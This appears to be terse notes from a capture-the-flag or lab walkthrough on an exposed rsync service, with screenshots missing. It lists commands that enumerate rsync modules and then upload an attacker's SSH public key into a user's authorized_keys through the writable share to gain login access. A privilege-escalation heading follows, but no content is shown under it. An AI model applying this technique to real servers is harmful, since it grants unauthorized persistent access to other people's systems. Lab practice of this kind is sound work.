image.png

image.png

https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/rsync-873

https://hacktricks.boitatech.com.br/pentesting/873-pentesting-rsync

❯ rsync -av --list-only rsync://$IP/
❯ rsync -av --list-only rsync://$IP/fox

image.png

Fox could be a possible user

❯ ssh-keygen -b 2048 -t rsa
❯ mkdir .ssh
❯ cat id_rsa.pub > ./.ssh/authorized_keys
❯ rsync -r ./.ssh/ $IP::fox/.ssh
❯ rsync -r $IP::fox

image.png

image.png

image.png

image.png

Privileges Escalation

image.png

image.png